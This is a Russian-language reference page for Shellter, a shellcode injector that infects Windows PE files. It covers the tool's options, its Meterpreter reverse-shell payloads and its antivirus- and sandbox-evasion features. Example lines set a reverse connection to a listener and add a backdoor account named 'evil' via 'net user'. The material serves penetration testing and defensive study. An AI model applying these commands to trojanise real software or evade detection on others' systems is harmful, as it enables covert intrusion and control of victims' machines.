You are here: Home » Поддержка доступа » shellter

shellter

Описание shellter

Shellter — это динамический инструмент инъекции шелл-кода, и первый когда-либо созданный по-настоящему динамический PE инфектор. Он может использоваться для внедрения шелл-кода в нативные приложения Windows (в настоящий момент только 32-битные приложения). Шелл-код может быть чем-то вашим или чем-то сгенерированным программными платформами, такими как Metasploit.

Домашняя страница: https://www.shellterproject.com/

Автор: Kyriakos Economou

Лицензия: специальная

Справка по shellter

Опции командной строки

Справка: -h, --help

Действие: Показывает информацию об опциях командной строки.

Список полезных нагрузок: --list

Действие: Показывает список встроенных полезных нагрузок.

Режим вербальности: -v

Действие: Показывает трассировку в реальном времени.

Режим работы: -a / -m

Действие: Установить используемый Режим работы.

-a: Автоматический режим, -m: Ручной режим. (смотрите примечания)

Помните: Ддя ручного режима требуется взаимодействие с пользователем для всех параметров.

Онлайн проверка версии: --VersionCheck

Действие: Получает информацию о версии с официального сайта.

Помните: требует Интернет-подключения. Не доступно в режиме Wine.

PE цель: -f <имя файла>

Действие: Устанавливает PE цель.

Невидимый режим: -s / --stealth

Действие: Включает функцию невидимого режима. Сохраняет исходную функциональность зараженного файла PE.

Помните: Если эта функция включена, то --enc, --encode и --handler IAT подразумеваются как установленные.

Полезная нагрузка: -p <имя файла>/<указанная полезная нагрузка>

Действие: Устанавливает полезную нагрузку. Должна быть в формате RAW.

Metasploit: генерирует -t raw.

Следующие полезные нагрузки могут использоваться напрямую через Shellter.

Полезные нагрузки

[1] Meterpreter_Reverse_TCP   [stager]
[2] Meterpreter_Reverse_HTTP  [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP      [stager]
[5] Shell_Reverse_TCP         [stager]
[6] Shell_Bind_TCP            [stager]
[7] WinExec

Пример:

-p meterpreter_reverse_tcp --lhost 192.168.30.133 --port 4444

LHOST: --lhost <IP адрес>/<доменное имя>

Действие: Устанавливает IP адрес или доменное имя для внедряемой полезной нагрузки для использования обратного соединения.

Помните: Помните, доменные имена могут использоваться с полезными нагрузками reverse_http и reverse_https или с кастомными полезными нагрузками, генерируемыми пользователем.

Порт: --port <Port number>

Действие: Устанавливает номер порта для включённых полезных нагрузках, которые используют или обратное соединение или прослушивают локально на входящие содеинения.

Команда: --cmd <cmd argument>

Действие: Устанавливает команду.

Пример: -p winexec --cmd "cmd.exe /c net user evil password /ADD"

Включение поддержки DLL Reflective Loader: --reflective <FuncName>

Действие: Помечает полезную нагрузку как DLL и устанавливает функцию reflective loader.

Этот флаг автоматически активирует поддержку кодированной полезной нагрузки, поскольку загрузчик должен требовать разрешения RW для себя. Вам нужно будет также установить аргумент --handler.

Помните: имена функций чувствительны к регистру.

Трассировка потоков: --trace main / all

Действие: Устанавливает прослеживаемые потоки.

main: главный поток, all: трасировка всех потоков.

Помните: рекомендуется включить трассировку всех потоков. Это включено по умолчанию когда используется автоматический режим без аргументов командной строки.

Включение поддержки кодированной полезной нагрузки: --enc

Действие: Регулирует закодированными полезными нагрузками.

Помните: усли вы используете кодированную полезную нагрузку, этот флаг является обязательным! Однако он включен по умолчанию, когда используется автоматический режим без аргументов командной строки. Рекомендуется всегда использовать кодированные полезные нагрузки, если они не являются полностью кастомными и поэтому не известными AV.

Помните: вы можете включить в Shellter кодировщик используя аргумент --encode. Он также может использоваться поверх уже закодированных полезных нагрузок.

Собственная кодировка Shellter: --encode / --encode {<кодирующая последовательность>}

Действие: Применяет дополнительный уровень кодирования.

Он включён по умолчанию когда используется автоматический режим без аргументов командной строки.

Поддерживаемые операторы кодирования

XOR --> x
ADD --> +
SUB --> -
NOT --> !

Пример #1: x!+x

Помните: когда кодирующая последовательность задана из командой строки, операторы должны быть заключены в '{}'.

Пример #2: --encode {x!+}

Помните: в ручном режиме вы не должны включать символы '{}' , пишите как это показано в примере #1.

Примечания: количество заданных операторов должно быть между 1 и 12 операторами.

Если вы просто используете переключатель --encode без определения пользовательской последовательности операторов кодирования, Shellter сам случайным образом создаст и применит схему кодирования.

Если вы включили режим невидимости используя переключатели --stealh/-s, подразумевается переключатель --encode, но если вы хотите использовать пользовательскую последовательность кодирования, то вам вам нужно указать её явным образом, используя переключатель --encode, как это показано в примере #2.

Помните: вам также нужно установить аргумент --handler.

Если вы установили переключатель --encode, тогда --enc подразумевается как установленный.

Кодирование с использованием Dynamic Thread Context Key: --DTCK

Действие: Кодирует полезную нагрузку, используя динамическую контекстную информацию потока.

Помните: это экспериментальная функция, которая ведёт журнал содержимого некоторых регистров CPU и затем фильтрует все эти данные, чтобы сохранить расположения инъекции где по крайней мере один из журналируемых регистров имеет значение, которое может надёжно использоваться для кодирования и последующего раскодирования полезной нагрузки во время выполнения.

Помните: если вы установили этот флаг, то --encode и --enc подразумеваются как тоже установленные.

В автоматическом режиме эта функция может быть активирована только использованием аргументов командной строки.

Обфускация проприетарным декодером: --polyDecoder

Действие: Обфусцирует генерируемое декодером Shellter с использованием Thread Context Aware Polymorphic code.

Помните: это применимо только если была установлена опция --encode. Это включено по умолчанию когда используется автоматический режим без аргументов командной строки.

Encoded Payload Handling Type: --handler iat / section

Действие: Определяет, как будет обрабатываться кодированная полезная нагрузка.

iat: Использовать указатели IAT, section: Дать секции RWE разрешения.

Помните: если вы используете кодированную полезную нагрузку, этот флаг является обязательным! Тем не менее, когда вы используете автоматический режим без аргументов командной строки, это включается по умолчанию.

Обфусцировать обработчик IAT типа: --polyIAT

Действие: включает обфускацию обработчиков IAT типа для кодированных полезных нагрузок используя Thread Context Aware Polymorphic code.

Помните: делает вывод намного более полиморфным. Это включено по умолчанию, когда используется автоматический режим без аргументов командной строки.

Создать и связать PolyMorphic Junk Code: --junk

Действие: Включает PolyMorphic Junk Code.

Помните: рекомендуется включать эту опцию чтобы создавать более сложный вывод. Этот тип добавленного кода также служит для тайм-аута некоторых эмуляторов и песочниц. Возможно, вам придется подождать несколько секунд, прежде чем полезная нагрузка будет выполнена.

Помните: эта функция включена по умолчанию, когда используется автоматический режим без аргументов командной строки.

Заметки:

  • При запуске внутри Wine совместимый движок выбирается автоматически.
  • Если был выбран ручной режим, все другие опции игнорируются.
  • Если в командной строке не был выбран режим (-a/-m), то применяется автоматический режим.
  • Если установлены '--enc' и/или '--encode' и/или --DTCK, тогда также должна быть установлена '--handler'.
  • Когда используется автоматический режим, то по умолчанию включена трассировка всех потоков.
  • Если включён невидимый режим (-s/--stealth), внедрённая полезная нагрузка всегда будет кодироваться Shellter'ом и по умолчанию устанавливается --handler IAT.
  • Аргументы могут быть переданы в любом порядке. Если один и тот же аргумент используется более одного раза, то во внимание принимается только первый.

Руководство по shellter

Страница man отсутствует.

Примеры запуска shellter

Запуск программы:

shellter

Установка shellter

Установка в Kali Linux

shellter — это приложение для Windows. Поэтому для его запуска в Kali Linux необходимо установить Wine, это делается следующими командами:

sudo dpkg --add-architecture i386
sudo apt update && sudo apt install wine32

Установка пакета shellter:

sudo apt install shellter

Установка в BlackArch

В систему необходимо установить Wine, после этого скачайте shellter с официального сайта: https://www.shellterproject.com/download/, распакуйте архив и запустите .exe файл с помощью Wine.

Информация об установке в другие операционные системы будет добавлена позже.

Скриншоты shellter

Инструкции по shellter

Ссылки на инструкции будут добавлены позже.

Близкие программы:

Рекомендуемые статьи: